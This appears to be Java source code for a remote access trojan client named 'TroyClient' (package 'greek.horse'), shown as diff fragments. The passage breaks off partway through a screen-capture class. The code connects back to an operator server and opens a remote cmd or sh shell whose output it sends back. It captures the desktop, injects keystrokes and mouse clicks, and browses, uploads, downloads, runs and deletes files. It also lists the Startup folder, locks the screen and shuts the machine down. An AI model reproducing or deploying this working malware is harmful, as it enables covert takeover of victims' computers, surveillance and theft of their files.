import java.awt.event.KeyEvent; |
|||
import java.io.*; |
|||
import java.net.InetAddress; |
|||
import java.net.Socket; |
|||
import java.nio.file.Files; |
|||
import java.nio.file.Path; |
|||
import java.util.*; |
|||
import java.util.concurrent.ExecutorService; |
|||
import java.util.concurrent.Executors; |
|||
import java.util.concurrent.ThreadLocalRandom; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
import java.util.concurrent.atomic.AtomicReference; |
|||
import java.util.stream.Collectors; |
|||
|
|||
public class ClientSocketManager { |
|||
|
|||
private static final String id = ThreadLocalRandom.current().nextInt(100, 9999 + 1) + System.currentTimeMillis() + SystemUtils.getHostName(); |
|||
|
|||
private AtomicBoolean running = new AtomicBoolean(true); |
|||
private final TroyClient troyClient; |
|||
private final Robot bot = new Robot(); |
|||
public final static HashMap<Integer, Integer> extendedKeys = createMap(); |
|||
|
|||
private final AtomicReference<ObjectOutputStream> oos = new AtomicReference<>(); |
|||
private Socket socket; |
|||
private final ExecutorService threadPool = Executors.newCachedThreadPool(); |
|||
|
|||
private final LockTask lockTask = new LockTask(this, bot); |
|||
private final ClientTerminalTask terminalTask = new ClientTerminalTask(this); |
|||
private final DesktopTask desktopTask = new DesktopTask(this, bot); |
|||
private final ClientChatTask chatTask = new ClientChatTask(this); |
|||
|
|||
private final HashMap<FunctionTicket, Object> fixedMap = new HashMap<>(); |
|||
|
|||
private static final Logger log = Logger.getLogger(ClientSocketManager.class); |
|||
|
|||
|
|||
public ClientSocketManager(TroyClient troyClient) throws AWTException { |
|||
this.troyClient = troyClient; |
|||
threadPool.execute(lockTask); |
|||
threadPool.execute(terminalTask); |
|||
threadPool.execute(desktopTask); |
|||
threadPool.execute(chatTask); |
|||
} |
|||
|
|||
private static HashMap<Integer, Integer> createMap() { |
|||
HashMap<Integer, Integer> extendedKeys = new HashMap<>(); |
|||
extendedKeys.put(16, KeyEvent.VK_SHIFT); |
|||
extendedKeys.put(20, KeyEvent.VK_CAPS_LOCK); |
|||
extendedKeys.put(9, KeyEvent.VK_TAB); |
|||
extendedKeys.put(17, KeyEvent.VK_CONTROL); |
|||
extendedKeys.put(92, KeyEvent.getExtendedKeyCodeForChar('\\')); |
|||
extendedKeys.put(524, KeyEvent.VK_WINDOWS); |
|||
extendedKeys.put(18, KeyEvent.VK_ALT); |
|||
extendedKeys.put(65406, KeyEvent.VK_ALT_GRAPH); |
|||
extendedKeys.put(0, KeyEvent.VK_SLASH); |
|||
extendedKeys.put(154, KeyEvent.VK_PRINTSCREEN); |
|||
extendedKeys.put(145, KeyEvent.VK_SCROLL_LOCK); |
|||
extendedKeys.put(144, KeyEvent.VK_NUM_LOCK); |
|||
extendedKeys.put(96, KeyEvent.VK_0); |
|||
extendedKeys.put(97, KeyEvent.VK_1); |
|||
extendedKeys.put(98, KeyEvent.VK_2); |
|||
extendedKeys.put(99, KeyEvent.VK_3); |
|||
extendedKeys.put(100, KeyEvent.VK_4); |
|||
extendedKeys.put(101, KeyEvent.VK_5); |
|||
extendedKeys.put(102, KeyEvent.VK_6); |
|||
extendedKeys.put(103, KeyEvent.VK_7); |
|||
extendedKeys.put(104, KeyEvent.VK_8); |
|||
extendedKeys.put(105, KeyEvent.VK_9); |
|||
extendedKeys.put(111, KeyEvent.VK_SLASH); |
|||
extendedKeys.put(106, KeyEvent.VK_ASTERISK); |
|||
extendedKeys.put(109, KeyEvent.VK_MINUS); |
|||
extendedKeys.put(107, KeyEvent.VK_PLUS); |
|||
extendedKeys.put(110, KeyEvent.VK_COMMA); |
|||
extendedKeys.put(129, KeyEvent.VK_DEAD_ACUTE); |
|||
extendedKeys.put(131, KeyEvent.VK_DEAD_TILDE); |
|||
extendedKeys.put(222, KeyEvent.VK_QUOTE); |
|||
return extendedKeys; |
|||
} |
|||
|
|||
public void run(String hostLink, String port) throws IOException, ClassNotFoundException, InterruptedException { |
|||
try { |
|||
|
|||
socket = connect(hostLink, port); |
|||
|
|||
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream()); |
|||
|
|||
this.oos.set(new ObjectOutputStream(socket.getOutputStream())); |
|||
|
|||
this.oos.get().writeObject(id); // register ID |
|||
|
|||
while (running.get()) { |
|||
HashMap<FunctionTicket, Object> requestMap = (HashMap<FunctionTicket, Object>) ois.readObject(); |
|||
log.debug("requestMap: " + requestMap); |
|||
|
|||
HashMap<FunctionTicket, Object> answerMap = new HashMap<>(); |
|||
|
|||
Set<FunctionTicket> keys = Collections.unmodifiableSet(requestMap.keySet()); |
|||
|
|||
for (FunctionTicket f : keys) { |
|||
if (f.isFixed()) { |
|||
fixedMap.put(f, requestMap.get(f)); |
|||
} |
|||
} |
|||
|
|||
for (FunctionTicket ticket : requestMap.keySet()) { |
|||
Object obj = answerTicket(ticket, requestMap.get(ticket)); |
|||
if (obj != null) { // no answer filter |
|||
answerMap.put(ticket, obj); |
|||
} |
|||
} |
|||
|
|||
if (answerMap.keySet().size() > 0) { |
|||
log.debug("answerMap: " + answerMap); |
|||
this.oos.getAcquire().writeObject(answerMap); |
|||
this.oos.getAcquire().flush(); |
|||
} |
|||
} |
|||
stop(); |
|||
|
|||
} catch (Exception e) { |
|||
this.running = new AtomicBoolean(false); |
|||
throw e; |
|||
} |
|||
} |
|||
|
|||
private Object answerTicket(FunctionTicket ticket, Object o) { |
|||
try { |
|||
|
|||
RequestFunction f = ticket.getFunction(); |
|||
|
|||
switch (f) { |
|||
case NET_INFO: |
|||
return getNetInfo(); |
|||
case DESKTOP_START: |
|||
return startDesktop(o, ticket); |
|||
case DESKTOP_REFRESH: |
|||
return refreshDesktop(o, ticket); |
|||
case MONITOR_COUNT: |
|||
return getMonitorCount(); |
|||
case DISCONNECT: |
|||
return doDisconnect(); |
|||
case USER_INPUT: |
|||
return doUserInput(o); |
|||
case FILES: |
|||
return getFiles(o); |
|||
case LOCK: |
|||
return toggleLock(o); |
|||
case STOP: |
|||
return getLock(); |
|||
case TERMINAL_START: |
|||
return startTerminal(ticket); |
|||
case TERMINAL_COMMAND: |
|||
return sendCommand(o); |
|||
case CHAT_START: |
|||
return startChat(ticket); |
|||
case CHAT_MESSAGE: |
|||
return sendMessage(o); |
|||
case TURN_OFF: |
|||
return turnOff(); |
|||
case RELEASE: |
|||
return doRelease(o); |
|||
} |
|||
|
|||
} catch (Exception e) { |
|||
e.printStackTrace(); |
|||
this.running.set(false); |
|||
} |
|||
|
|||
return null; |
|||
} |
|||
|
|||
private Object sendMessage(Object o) { |
|||
chatTask.addMessage((String)o); |
|||
return null; |
|||
} |
|||
|
|||
private Object startChat(FunctionTicket ticket) { |
|||
chatTask.setTicket(ticket); |
|||
return null; |
|||
} |
|||
|
|||
private Object getMonitorCount() { |
|||
return GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices().length; |
|||
} |
|||
|
|||
private Object turnOff() { |
|||
try { |
|||
String shutdownCommand; |
|||
String t = "now"; |
|||
|
|||
if (SystemUtils.IS_OS_AIX) |
|||
shutdownCommand = "shutdown -Fh " + t; |
|||
else if (SystemUtils.IS_OS_FREE_BSD || SystemUtils.IS_OS_LINUX || SystemUtils.IS_OS_MAC || SystemUtils.IS_OS_MAC_OSX || SystemUtils.IS_OS_NET_BSD || SystemUtils.IS_OS_OPEN_BSD || SystemUtils.IS_OS_UNIX) |
|||
shutdownCommand = "shutdown -h " + t; |
|||
else if (SystemUtils.IS_OS_HP_UX) |
|||
shutdownCommand = "shutdown -hy " + t; |
|||
else if (SystemUtils.IS_OS_IRIX) |
|||
shutdownCommand = "shutdown -y -g " + t; |
|||
else if (SystemUtils.IS_OS_SOLARIS || SystemUtils.IS_OS_SUN_OS) |
|||
shutdownCommand = "shutdown -y -i5 -g" + t; |
|||
else if (SystemUtils.IS_OS_WINDOWS) |
|||
shutdownCommand = "shutdown.exe /s /t 0"; |
|||
else |
|||
return false; |
|||
|
|||
Runtime.getRuntime().exec(shutdownCommand); |
|||
} catch (Exception e) { |
|||
log.error(e); |
|||
} |
|||
|
|||
return null; |
|||
} |
|||
|
|||
private Object sendCommand(Object o) { |
|||
terminalTask.sendCommand((String) o); |
|||
return null; |
|||
} |
|||
|
|||
private Object startTerminal(FunctionTicket ticket) { |
|||
terminalTask.setTicket(ticket); |
|||
return null; |
|||
} |
|||
|
|||
private Object doRelease(Object obj) { |
|||
FunctionTicket remove = fixedMap.keySet().parallelStream().filter(f -> f.getId().contentEquals((String) obj)).findFirst().get(); |
|||
fixedMap.remove(remove); |
|||
return null; |
|||
} |
|||
|
|||
private Object getLock() { |
|||
System.exit(0); |
|||
return null; |
|||
} |
|||
|
|||
private Object toggleLock(Object o) { |
|||
Boolean lock = (Boolean) o; |
|||
lockTask.setRunning(lock); |
|||
return null; |
|||
} |
|||
|
|||
private Object getFiles(Object o) { |
|||
FileBrowserTicket ticket = (FileBrowserTicket) o; |
|||
try { |
|||
switch (ticket.getTicketType()) { |
|||
case KNOWN_FOLDERS: |
|||
ArrayList<FileStruct> list = new ArrayList<>(); |
|||
|
|||
Path userFolder = Path.of(SystemUtils.getUserHome().toURI()); |
|||
list.add(new FileStruct(userFolder.getName(userFolder.getNameCount() - 1).toString(), userFolder.toFile().length(), userFolder.toString(), false, userFolder.toFile().isDirectory())); |
|||
|
|||
Path desktop = Path.of(FileSystemView.getFileSystemView().getHomeDirectory().toURI()); |
|||
list.add(new FileStruct(desktop.getName(desktop.getNameCount() - 1).toString(), desktop.toFile().length(), desktop.toString(), false, desktop.toFile().isDirectory())); |
|||
|
|||
Path newTemp = Files.createTempDirectory("temp_"); |
|||
Path temp = newTemp.getParent(); |
|||
list.add(new FileStruct(temp.getName(temp.getNameCount() - 1).toString(), temp.toFile().length(), temp.toString(), false, temp.toFile().isDirectory())); |
|||
list.add(new FileStruct(newTemp.getName(newTemp.getNameCount() - 1).toString(), newTemp.toFile().length(), newTemp.toString(), false, newTemp.toFile().isDirectory())); |
|||
|
|||
if (SystemUtils.IS_OS_WINDOWS) { |
|||
//C:\Users\Murilo\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup |
|||
String path = userFolder + File.separator + "AppData" + File.separator + "Roaming" |
|||
+ File.separator + "Microsoft" + File.separator + "Windows" |
|||
+ File.separator + "Start Menu" + File.separator + "Programs" |
|||
+ File.separator + "Startup"; |
|||
Path startup = Path.of(path); |
|||
list.add(new FileStruct(startup.getName(startup.getNameCount() - 1).toString(), startup.toFile().length(), startup.toString(), false, startup.toFile().isDirectory())); |
|||
} |
|||
|
|||
return new FileBrowserResponseWrapper(list); |
|||
|
|||
case LOAD_FILES: |
|||
ArrayList<FileStruct> loadFiles = |
|||
Files.list(Path.of(ticket.getUri())) |
|||
.map(p -> new FileStruct(p.getName(p.getNameCount() - 1).toString(), p.toFile().length(), p.toString(), false, p.toFile().isDirectory())) |
|||
.collect(Collectors.toCollection(ArrayList::new)); |
|||
|
|||
loadFiles = ClientSocketManager.sortForBrowsing(loadFiles); |
|||
|
|||
return new FileBrowserResponseWrapper(loadFiles); |
|||
case LOAD_DRIVES: |
|||
return Arrays.stream(File.listRoots()) |
|||
.map(f -> new FileStruct(f.getPath(), f.getTotalSpace(), Path.of(f.toURI()).toString(), true, false)) |
|||
.sorted().collect(Collectors.toCollection(ArrayList::new)); |
|||
case UPLOAD: |
|||
String path = Path.of(ticket.getUri()).toString() + File.separator + ticket.getFileData().getFileName(); |
|||
Files.write(Path.of(path), ticket.getFileData().getFileBytes()); |
|||
return new FileBrowserResponseWrapper(); |
|||
case RUN: |
|||
Desktop.getDesktop().open(Path.of(ticket.getUri()).toFile()); |
|||
return new FileBrowserResponseWrapper(); |
|||
case DELETE: |
|||
Files.delete(Path.of(ticket.getUri())); |
|||
return new FileBrowserResponseWrapper(); |
|||
case DOWNLOAD: |
|||
Path p = Path.of(ticket.getUri()); |
|||
FileData data = new FileData(Files.readAllBytes(p), p.getName(p.getNameCount() - 1).toString()); |
|||
return new FileBrowserResponseWrapper(data); |
|||
default: |
|||
return null; |
|||
|
|||
} |
|||
} catch (Exception e) { |
|||
log.debug("Error " + ticket.getTicketType() + " : ", e); |
|||
return new FileBrowserResponseWrapper(e); |
|||
} |
|||
|
|||
} |
|||
|
|||
private static ArrayList<FileStruct> sortForBrowsing(ArrayList<FileStruct> loadFiles) { |
|||
ArrayList<ArrayList<FileStruct>> orderedList = new ArrayList<>(); |
|||
for (FileType t : FileType.values()) { |
|||
ArrayList<FileStruct> collect = (ArrayList<FileStruct>) loadFiles.stream() |
|||
.sorted() |
|||
.filter(f -> f.getFileType().equals(t)) |
|||
.collect(Collectors.toList()); |
|||
if (!collect.isEmpty()) { |
|||
orderedList.add(collect); |
|||
} |
|||
} |
|||
ArrayList<FileStruct> newList = new ArrayList<>(); |
|||
orderedList.forEach(newList::addAll); |
|||
return newList; |
|||
} |
|||
|
|||
private Object doUserInput(Object o) { |
|||
ArrayList<UserInput> inputs = (ArrayList<UserInput>) o; |
|||
|
|||
inputs.parallelStream().forEachOrdered(ui -> { |
|||
|
|||
switch (ui.getMode()) { |
|||
case KEY_PRESSED -> pressKey(ui.getKey()); |
|||
case KEY_RELEASED -> releaseKey(ui.getKey()); |
|||
case CLICK_PRESSED -> desktopTask.pressClick(ui.getX(), ui.getY(), ui.getCode()); |
|||
case CLICK_RELEASED -> desktopTask.releaseClick(ui.getX(), ui.getY(), ui.getCode()); |
|||
} |
|||
|
|||
}); |
|||
|
|||
return null; |
|||
} |
|||
|
|||
private void pressKey(int key) { |
|||
try { |
|||
bot.keyPress(getKey(key)); |
|||
} catch (Exception e) { |
|||
log.error("Key pressing error. Key skipped. ", e); |
|||
} |
|||
} |
|||
|
|||
private void releaseKey(int key) { |
|||
try { |
|||
bot.keyRelease(getKey(key)); |
|||
} catch (Exception e) { |
|||
log.error("Key releasing error. Key skipped. ", e); |
|||
} |
|||
} |
|||
|
|||
private int getKey(int key) { |
|||
int k; |
|||
if (extendedKeys.containsKey(key)) { |
|||
k = extendedKeys.get(key); |
|||
} else { |
|||
k = KeyEvent.getExtendedKeyCodeForChar(key); |
|||
} |
|||
if (k == KeyEvent.VK_UNDEFINED) { |
|||
throw new IllegalArgumentException("KeyCode " + key + " does not exist."); |
|||
} |
|||
return k; |
|||
} |
|||
|
|||
private Object doDisconnect() { |
|||
try { |
|||
socket.close(); |
|||
} catch (Exception e) { |
|||
log.info("Exception closing socket on disconnect request"); |
|||
} |
|||
return null; |
|||
} |
|||
|
|||
private Object refreshDesktop(Object o, FunctionTicket ticket) { |
|||
desktopTask.setInfo((MonitorDesktopWrapper) o); |
|||
return null; |
|||
} |
|||
|
|||
private Object startDesktop(Object readObj, FunctionTicket ticket) { |
|||
desktopTask.setInfo((MonitorDesktopWrapper) readObj); |
|||
desktopTask.setTicket(ticket); |
|||
|
|||
return null; |
|||
} |
|||
|
|||
private void stop() { |
|||
try { |
|||
if (socket != null) { |
|||
socket.close(); |
|||
} |
|||
} catch (Exception e) { |
|||
System.err.println("Error closing client"); |
|||
} |
|||
} |
|||
|
|||
private NetInfo getNetInfo() throws IOException { |
|||
InetAddress inet = InetAddress.getLocalHost(); |
|||
|
|||
Request request = new Request.Builder().url("http://ip-api.com/json").build(); |
|||
Response response = troyClient.getHttpClient().newCall(request).execute(); |
|||
|
|||
if (response.code() != 200) { |
|||
throw new IOException("Wrong response code: " + response.code()); |
|||
} |
|||
|
|||
JsonReader reader = Json.createReader(new StringReader(response.body().string())); |
|||
JsonObject json = reader.readObject(); |
|||
|
|||
return new NetInfo(inet, json); |
|||
|
|||
} |
|||
|
|||
private Socket connect(String hostLink, String port) throws IOException { |
|||
Socket socket = new Socket(hostLink, Integer.parseInt(port)); |
|||
|
|||
if (!socket.isConnected()) { |
|||
throw new IOException("Socket didn't connected in time"); |
|||
} |
|||
|
|||
log.info("Connection stabilised"); |
|||
return socket; |
|||
} |
|||
|
|||
public void kill() { |
|||
this.running.set(false); |
|||
// this.stop(); |
|||
} |
|||
|
|||
public AtomicBoolean getRunning() { |
|||
return running; |
|||
} |
|||
|
|||
public AtomicReference<ObjectOutputStream> getOos() { |
|||
return oos; |
|||
} |
|||
|
|||
public ExecutorService getThreadPool() { |
|||
return threadPool; |
|||
} |
|||
|
|||
public HashMap<FunctionTicket, Object> getFixedMap() { |
|||
return fixedMap; |
|||
} |
|||
} |
@ -0,0 +1,78 @@ |
|||
package greek.horse.client; |
|||
|
|||
import greek.horse.models.FunctionTicket; |
|||
import org.apache.commons.lang3.SystemUtils; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import java.util.HashMap; |
|||
import java.util.Scanner; |
|||
|
|||
public class ClientTerminalTask implements Runnable { |
|||
private final ClientSocketManager client; |
|||
private FunctionTicket ticket; |
|||
private Process process; |
|||
|
|||
private static final Logger log = Logger.getLogger(ClientTerminalTask.class); |
|||
|
|||
public ClientTerminalTask(ClientSocketManager clientSocketManager) { |
|||
this.client = clientSocketManager; |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
try { |
|||
while (this.client.getRunning().get()) { |
|||
if (ticket != null && this.client.getFixedMap().containsKey(ticket)) { |
|||
|
|||
Runtime r = Runtime.getRuntime(); |
|||
String exec = SystemUtils.IS_OS_WINDOWS ? "cmd /k " : "sh "; |
|||
process = r.exec(exec); |
|||
|
|||
sendCommand(SystemUtils.IS_OS_WINDOWS ? "" : "pwd"); |
|||
|
|||
Thread thread = new Thread(() -> { |
|||
try (Scanner s = new Scanner(process.getInputStream())) { |
|||
while (this.client.getRunning().get() && this.client.getFixedMap().containsKey(ticket)) { |
|||
String line = s.nextLine(); |
|||
HashMap<FunctionTicket, Object> answerMap = new HashMap<>(); |
|||
answerMap.put(this.ticket, line); |
|||
client.getOos().getAcquire().writeObject(answerMap); |
|||
client.getOos().getAcquire().flush(); |
|||
} |
|||
} catch (Exception e) { |
|||
log.error("Error reading terminal output", e); |
|||
} |
|||
}); |
|||
|
|||
thread.start(); |
|||
while (process.isAlive() && this.client.getRunning().get() && this.client.getFixedMap().containsKey(ticket)){ |
|||
Thread.sleep(200); |
|||
} |
|||
thread.interrupt(); |
|||
|
|||
} |
|||
Thread.sleep(500); |
|||
} |
|||
} catch (Exception e) { |
|||
log.error("Error in terminal task",e); |
|||
} |
|||
|
|||
} |
|||
|
|||
public void setTicket(FunctionTicket ticket) { |
|||
this.ticket = ticket; |
|||
} |
|||
|
|||
public void sendCommand(String command) { |
|||
try { |
|||
if (process != null) { |
|||
process.getOutputStream().write(command.concat("\n").getBytes()); |
|||
process.getOutputStream().flush(); |
|||
} |
|||
} catch (Exception e) { |
|||
log.error("Error sending command to terminal", e); |
|||
} |
|||
|
|||
|
|||
} |
|||
} |
@ -0,0 +1,120 @@ |
|||
package greek.horse.client; |
|||
|
|||
import javax.swing.*; |
|||
import java.awt.*; |
|||
import java.awt.event.KeyEvent; |
|||
import java.awt.event.WindowEvent; |
|||
import java.awt.event.WindowListener; |
|||
import java.util.concurrent.CopyOnWriteArrayList; |
|||
import java.util.concurrent.atomic.AtomicBoolean; |
|||
|
|||
public class LockTask implements Runnable { |
|||
private final ClientSocketManager father; |
|||
private final CopyOnWriteArrayList<JFrame> framesList = new CopyOnWriteArrayList<>(); |
|||
private final Robot bot; |
|||
private final AtomicBoolean selfRunning = new AtomicBoolean(false); |
|||
|
|||
public LockTask(ClientSocketManager father, Robot bot) { |
|||
this.father = father; |
|||
this.bot = bot; |
|||
createFrames(); |
|||
} |
|||
|
|||
private void createFrames() { |
|||
removeListeners(); |
|||
framesList.forEach(frame -> { |
|||
frame.setVisible(false); |
|||
}); |
|||
framesList.clear(); |
|||
for (GraphicsDevice device : GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices()) { |
|||
Rectangle bounds = device.getDefaultConfiguration().getBounds(); |
|||
JFrame frame = new JFrame("LOCK"); |
|||
frame.setAlwaysOnTop(true); |
|||
frame.setUndecorated(true); |
|||
frame.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE); |
|||
frame.setSize(bounds.getSize()); |
|||
frame.setLocation(bounds.getLocation()); |
|||
frame.setVisible(false); |
|||
framesList.add(frame); |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
while (father.getRunning().get()) { |
|||
if (selfRunning.get()) { |
|||
bot.mouseMove(0, 0); |
|||
bot.keyPress(KeyEvent.VK_UP); |
|||
bot.keyRelease(KeyEvent.VK_UP); |
|||
bot.keyPress(KeyEvent.VK_LEFT); |
|||
bot.keyRelease(KeyEvent.VK_LEFT); |
|||
framesList.forEach(JFrame::toFront); |
|||
framesList.forEach(frame -> { |
|||
frame.setVisible(true); |
|||
}); |
|||
} |
|||
try { |
|||
Thread.sleep(selfRunning.get() ? 20 : 200); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
} |
|||
|
|||
public void setRunning(boolean lock) { |
|||
if (lock != this.selfRunning.get()) { |
|||
if (lock) { |
|||
framesList.forEach(frame -> { |
|||
frame.addWindowListener(new WindowListener() { |
|||
@Override |
|||
public void windowOpened(WindowEvent e) { |
|||
|
|||
} |
|||
|
|||
@Override |
|||
public void windowClosing(WindowEvent e) { |
|||
} |
|||
|
|||
@Override |
|||
public void windowClosed(WindowEvent e) { |
|||
createFrames(); |
|||
} |
|||
|
|||
@Override |
|||
public void windowIconified(WindowEvent e) { |
|||
createFrames(); |
|||
} |
|||
|
|||
@Override |
|||
public void windowDeiconified(WindowEvent e) { |
|||
|
|||
} |
|||
|
|||
@Override |
|||
public void windowActivated(WindowEvent e) { |
|||
|
|||
} |
|||
|
|||
@Override |
|||
public void windowDeactivated(WindowEvent e) { |
|||
} |
|||
}); |
|||
}); |
|||
} else { |
|||
removeListeners(); |
|||
} |
|||
this.selfRunning.set(lock); |
|||
framesList.forEach(frame -> { |
|||
frame.setVisible(lock); |
|||
}); |
|||
} |
|||
} |
|||
|
|||
private void removeListeners() { |
|||
framesList.forEach(frame -> { |
|||
for (WindowListener wl : frame.getWindowListeners()) { |
|||
frame.removeWindowListener(wl); |
|||
} |
|||
}); |
|||
} |
|||
} |
@ -0,0 +1,109 @@ |
|||
package greek.horse.client; |
|||
|
|||
import okhttp3.OkHttpClient; |
|||
import okhttp3.Request; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import java.io.IOException; |
|||
import java.io.InputStream; |
|||
import java.util.Scanner; |
|||
import java.util.concurrent.TimeUnit; |
|||
|
|||
public class TroyClient { |
|||
|
|||
private OkHttpClient httpClient; |
|||
private String hostLink; |
|||
private String port; |
|||
private static final Logger log = Logger.getLogger(TroyClient.class); |
|||
|
|||
public static void main(String[] args) throws IOException { |
|||
new TroyClient().start(); |
|||
} |
|||
|
|||
public TroyClient() { |
|||
try (InputStream in = TroyClient.class.getResourceAsStream("/connection.data")){ |
|||
try(Scanner scanner = new Scanner(in)){ |
|||
this.hostLink = scanner.next(); |
|||
this.port = scanner.next(); |
|||
} |
|||
} catch (IOException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
private void start() { |
|||
new Thread(() -> { |
|||
while (true) { |
|||
System.gc(); |
|||
try { |
|||
Thread.sleep(15 * 1000); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
}).start(); |
|||
while (true) { |
|||
try { |
|||
ClientSocketManager client = new ClientSocketManager(this); |
|||
|
|||
if (checkInternet()) { |
|||
try { |
|||
client.getRunning().set(true); |
|||
client.run(this.hostLink, this.port); |
|||
|
|||
} catch (Exception e) { |
|||
log.error("Client closed, reset started",e); |
|||
// if (e.getMessage() != null && e.getMessage().contains("Connection timed out: connect")) { |
|||
// System.err.println("Cycling connect"); |
|||
// } else { |
|||
// e.printStackTrace(); |
|||
// } |
|||
client.kill(); |
|||
sleep(5); |
|||
} |
|||
|
|||
} else { |
|||
sleep(15); |
|||
continue; |
|||
} |
|||
|
|||
while (client.getRunning().get()) { |
|||
sleep(5); |
|||
} |
|||
|
|||
System.gc(); |
|||
|
|||
} catch (Exception e) { |
|||
e.printStackTrace(); |
|||
} |
|||
|
|||
} |
|||
} |
|||
|
|||
private void sleep(int seconds) { |
|||
try { |
|||
Thread.sleep(seconds * 1000); |
|||
} catch (InterruptedException e) { |
|||
e.printStackTrace(); |
|||
} |
|||
} |
|||
public boolean checkInternet() { |
|||
httpClient = new OkHttpClient.Builder() |
|||
.callTimeout(5, TimeUnit.SECONDS) |
|||
.connectTimeout(5, TimeUnit.SECONDS) |
|||
.build(); |
|||
Request request = new Request.Builder().url("http://www.google.com").build(); |
|||
|
|||
boolean success = false; |
|||
try { |
|||
httpClient.newCall(request).execute().close(); |
|||
success = true; |
|||
} catch (IOException ignored) { |
|||
} |
|||
return success; |
|||
} |
|||
|
|||
public OkHttpClient getHttpClient() { |
|||
return httpClient; |
|||
} |
|||
} |
@ -0,0 +1,33 @@ |
|||
/* |
|||
* Created by JFormDesigner on Fri Dec 31 22:40:38 GMT-03:00 2021 |
|||
*/ |
|||
|
|||
package greek.horse.client.tasks; |
|||
|
|||
import java.awt.*; |
|||
import javax.swing.*; |
|||
|
|||
/** |
|||
* @author unknown |
|||
*/ |
|||
public class ChatForm extends JFrame { |
|||
public ChatForm() { |
|||
initComponents(); |
|||
} |
|||
|
|||
private void initComponents() { |
|||
// JFormDesigner - Component initialization - DO NOT MODIFY //GEN-BEGIN:initComponents |
|||
// Generated using JFormDesigner Evaluation license - unknown |
|||
|
|||
//======== this ======== |
|||
var contentPane = getContentPane(); |
|||
contentPane.setLayout(new BorderLayout()); |
|||
pack(); |
|||
setLocationRelativeTo(getOwner()); |
|||
// JFormDesigner - End of component initialization //GEN-END:initComponents |
|||
} |
|||
|
|||
// JFormDesigner - Variables declaration - DO NOT MODIFY //GEN-BEGIN:variables |
|||
// Generated using JFormDesigner Evaluation license - unknown |
|||
// JFormDesigner - End of variables declaration //GEN-END:variables |
|||
} |
@ -0,0 +1,83 @@ |
|||
package greek.horse.client.tasks; |
|||
|
|||
import com.formdev.flatlaf.FlatLightLaf; |
|||
import greek.horse.client.ChatUI; |
|||
import greek.horse.client.ClientSocketManager; |
|||
import greek.horse.models.FunctionTicket; |
|||
import greek.horse.models.MessageType; |
|||
import org.apache.log4j.Logger; |
|||
|
|||
import java.io.IOException; |
|||
import java.util.HashMap; |
|||
|
|||
public class ClientChatTask implements Runnable { |
|||
private final ClientSocketManager client; |
|||
private FunctionTicket ticket; |
|||
private final ChatUI frame; |
|||
|
|||
private static final Logger log = Logger.getLogger(ClientChatTask.class); |
|||
|
|||
public ClientChatTask(ClientSocketManager clientSocketManager) { |
|||
client = clientSocketManager; |
|||
FlatLightLaf.setup(); |
|||
frame = new ChatUI(); |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
try { |
|||
while (this.client.getRunning().get()) { |
|||
if (ticket != null && this.client.getFixedMap().containsKey(ticket)) { |
|||
frame.setSendListener(e -> { |
|||
if (e.getActionCommand().isEmpty()){ |
|||
return; |
|||
} |
|||
try { |
|||
sendMessage(e.getActionCommand()); |
|||
} catch (Exception ex) { |
|||
log.error("Error sending message", ex); |
|||
} |
|||
|
|||
}); |
|||
frame.setVisible(true); |
|||
sendMessage("Connected"); |
|||
|
|||
while (this.client.getRunning().get() && this.client.getFixedMap().containsKey(ticket)){ |
|||
Thread.sleep(200); |
|||
} |
|||
|
|||
closeChat(); |
|||
|
|||
// } else { |
|||
// |
|||
} |
|||
Thread.sleep(500); |
|||
} |
|||
// closeChat(); |
|||
} catch (Exception e) { |
|||
log.error(e); |
|||
} |
|||
} |
|||
|
|||
private void sendMessage(String message) throws IOException { |
|||
HashMap<FunctionTicket, Object> answerMap = new HashMap<>(); |
|||
answerMap.put(ticket, message); |
|||
client.getOos().getAcquire().writeObject(answerMap); |
|||
client.getOos().getAcquire().flush(); |
|||
frame.addLine(MessageType.SELF, message, MessageType.CLIENT); |
|||
} |
|||
|
|||
private void closeChat() { |
|||
frame.setVisible(false); |
|||
frame.removeSendListener(); |
|||
frame.cleanMessages(); |
|||
} |
|||
|
|||
public void setTicket(FunctionTicket ticket) { |
|||
this.ticket = ticket; |
|||
} |
|||
|
|||
public void addMessage(String o) { |
|||
frame.addLine(MessageType.SERVER_NAME, o, MessageType.SERVER); |
|||
} |
|||
} |
@ -0,0 +1,137 @@ |
|||
package greek.horse.client.tasks; |
|||
|
|||
import greek.horse.client.ClientSocketManager; |
|||
import greek.horse.models.FunctionTicket; |
|||
import greek.horse.models.ImageUtil; |
|||
import greek.horse.models.MonitorDesktopWrapper; |
|||
import net.coobird.thumbnailator.Thumbnails; |
|||
import org.apache.log4j.Logger; |
|||
import org.jetbrains.annotations.NotNull; |
|||
|
|||
import javax.imageio.ImageIO; |
|||
import java.awt.*; |
|||
import java.awt.image.BufferedImage; |
|||
import java.io.ByteArrayOutputStream; |
|||
import java.io.IOException; |
|||
import java.util.HashMap; |
|||
import java.util.concurrent.atomic.AtomicReference; |
|||
|
|||
public class DesktopTask implements Runnable { |
|||
private final ClientSocketManager client; |
|||
private final Robot bot; |
|||
private FunctionTicket ticket; |
|||
private final AtomicReference<MonitorDesktopWrapper> info = new AtomicReference<>(); |
|||
private double lastScale; |
|||
private static final int interval = 200; |
|||
|
|||
private static final Logger log = Logger.getLogger(DesktopTask.class); |
|||
private Rectangle lastRect; |
|||
|
|||
public DesktopTask(ClientSocketManager client, Robot bot) { |
|||
this.client = client; |
|||
this.bot = bot; |
|||
} |
|||
|
|||
@Override |
|||
public void run() { |
|||
while (client.getRunning().get()) { |
|||
if (ticket != null && this.client.getFixedMap().containsKey(ticket)) { |
|||
|
|||
long time = System.currentTimeMillis() + interval; |
|||
|
|||
while (client.getRunning().get() && client.getFixedMap().containsKey(ticket)) { |
|||
try { |
|||
